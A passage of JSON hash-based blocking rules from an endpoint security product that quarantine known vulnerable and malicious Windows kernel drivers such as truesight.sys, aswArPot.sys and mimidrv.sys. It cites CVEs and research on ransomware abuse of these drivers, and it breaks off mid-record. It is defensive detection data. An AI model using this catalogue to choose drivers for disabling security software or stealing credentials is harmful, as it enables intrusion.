+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11f0f2395b3e7a9849bf3f050bfda6b48ae2de856d8541a16b51d9097afb8306",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc781622-d418-5abf-b731-3ff4bc61b109",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.496055Z",
+  "creation_date": "2026-03-23T11:45:31.496057Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.496063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49e6c9a0b3d0e5c6141cdeb33c767d05eccc063e742bc49759ab1f36b04064af",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc78bd8b-1b82-5f69-834b-5eba7ba9e08f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462584Z",
+  "creation_date": "2026-03-23T11:45:30.462587Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462596Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dcd026fd2ff8d517e2779d67b3d2d5f9a7aa39f19c66fa8ff2cab66d5c6461c6",
+  "comment": "Vulnerable Kernel Driver (aka yyprotect64.sys) [https://www.loldrivers.io/drivers/12ccd18a-11da-495a-b4b4-98a2f2bff180/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc8e3dc7-a375-5e8c-89d4-5c34bc2380ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816240Z",
+  "creation_date": "2026-03-23T11:45:31.816243Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816250Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "97b180382d816c8f3f507d946a7f519f5d319e9de97a8ce56f4a447e9ab2ef54",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc994e02-e98f-5d16-b93c-9146b6491e46",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142747Z",
+  "creation_date": "2026-03-23T11:45:32.142749Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142755Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fe75edf9d4bdceb2dd9e4919a3b10f9d3305065862288cad09beb4f385f5410",
+  "comment": "Vulnerable IKARUS anti.virus Driver (aka ntguard.sys and ntguard_x64.sys) [https://www.greyhathacker.net/?p=995, https://www.exploit-db.com/exploits/43139] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dc9ea2c4-7bdd-589f-a1c4-c3a77d053de4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.475674Z",
+  "creation_date": "2026-03-23T11:45:30.475678Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.475686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e219276a4068b1eea5ce08f83a322845dce4eca89e05c71a0c2417065ce48813",
+  "comment": "Vulnerable Kernel Driver (aka directio64.sys) [https://www.loldrivers.io/drivers/a254e684-f6eb-40c4-a50a-7b76feb6cc02/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcad2987-98ae-5a0a-8118-9d1c45a3190b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821076Z",
+  "creation_date": "2026-03-23T11:45:31.821078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821086Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bc0a85db87d08a0dda93cbece19ce70935bac4a44452bb1c3658657d1204755",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcaef3cf-2013-56bd-b328-535dc5180f8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973518Z",
+  "creation_date": "2026-03-23T11:45:29.973520Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2afdb3278a7b57466a103024aef9ff7f41c73a19bab843a8ebf3d3c4d4e82b30",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcb19b73-9469-5fa5-8b16-18a8950388e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982886Z",
+  "creation_date": "2026-03-23T11:45:29.982888Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982894Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "786f0ba14567a7e19192645ad4e40bee6df259abf2fbdfda35b6a38f8493d6cc",
+  "comment": "Vulnerable Kernel Driver (aka WiseUnlo.sys) [https://www.loldrivers.io/drivers/b28cc2ee-d4a2-4fe4-9acb-a7a61cad20c6/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcb50a31-e2bb-5a8d-b3e1-ad1361176008",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155889Z",
+  "creation_date": "2026-03-23T11:45:31.155891Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155896Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ed4f8a397efd1c69890accc39c3b17d9914add78e8ed14f7225252834d9ee434",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcd39f18-6233-5d23-bee1-2d34a63cd44f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493542Z",
+  "creation_date": "2026-03-23T11:45:31.493545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493554Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2c28d0a74e1d185b36de46a4aa356d13900f3549efc0c930c0cbe91fac8a990d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcd5b66d-7f03-58c4-91a3-4a9b8ff4cdc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157334Z",
+  "creation_date": "2026-03-23T11:45:31.157336Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157342Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "edd412e4406e2b863c48c4aca4192a63f4a9617f93eccea8c82c735629a2f38b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dce66a4f-9eef-5b97-a470-95bf7bb1f25a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831254Z",
+  "creation_date": "2026-03-23T11:45:30.831256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831262Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da00248fe367e7d220824c27f2bd02e2bb3ea467fd76d3cdfee8f62e5d83cbcb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dce88221-6fca-567c-b0ee-4ebed5fd8d88",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.477773Z",
+  "creation_date": "2026-03-23T11:45:31.477777Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.477786Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7666194867593ceaf7a3349f0edf794c46b58a2b15cb957ddd00c526acde7c6e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dcf7fb18-4540-5118-b212-12056498abf4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142790Z",
+  "creation_date": "2026-03-23T11:45:32.142792Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142798Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "592979e894d4c0af645e0bd70d23333facbb7c5b7e35e9b19a9acd564aa97c09",
+  "comment": "Vulnerable VirIT Agent System Driver (aka viragt64.sys) [https://www.trendmicro.com/en_no/research/24/a/kasseika-ransomware-deploys-byovd-attacks-abuses-psexec-and-expl.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd13aa27-0a09-557f-8e2e-9d7814869057",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823519Z",
+  "creation_date": "2026-03-23T11:45:30.823521Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823527Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dada726191185a41663f42cee4cb63eca0cf6ec6204fec8851c1dce940e217b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd1e3335-5f2c-59e4-8afc-68d5d62793ea",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463756Z",
+  "creation_date": "2026-03-23T11:45:30.463760Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463768Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10ad50fcb360dcab8539ea322aaf2270565dc835b7535790937348523d723d6b",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd27cfac-bf08-50cf-9c50-fe0889c21411",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810611Z",
+  "creation_date": "2026-03-23T11:45:31.810613Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810618Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "85ad9817ec0f48919fd21bcc911888b06f289c6ccdf28566c3cfcbd1c66c526c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd30c565-5ede-54b1-900a-f91e6bc8d323",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812813Z",
+  "creation_date": "2026-03-23T11:45:31.812816Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812825Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3b00d5e6e0e37ecb2498274d84feba9fe87376241112e6605a397b2f8852f98",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd3dcbf6-25e1-5fb0-84dc-cdfa4b7a71a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823155Z",
+  "creation_date": "2026-03-23T11:45:31.823158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823165Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8f09a7c1c7fac1ed11ce285ab6b8e1635b645ca7dfffd4cd165cbe36d99e80b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd519426-73e9-5f9a-a14f-ac15681728ad",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141201Z",
+  "creation_date": "2026-03-23T11:45:31.141203Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141209Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "04b9dc21b67e08fa55fb644e7758cbef7e2dcf81c065bb70fe122c79e80b5c51",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd5f9a2b-69b1-59a5-b0b1-2fe89c52cd1f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.969058Z",
+  "creation_date": "2026-03-23T11:45:29.969060Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969066Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4522e2cfa0b1f5d258a3cf85b87681d6969e0572f668024c465d635c236b5d9",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd6f857b-a102-502d-bee4-1655f980d644",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812152Z",
+  "creation_date": "2026-03-23T11:45:31.812154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
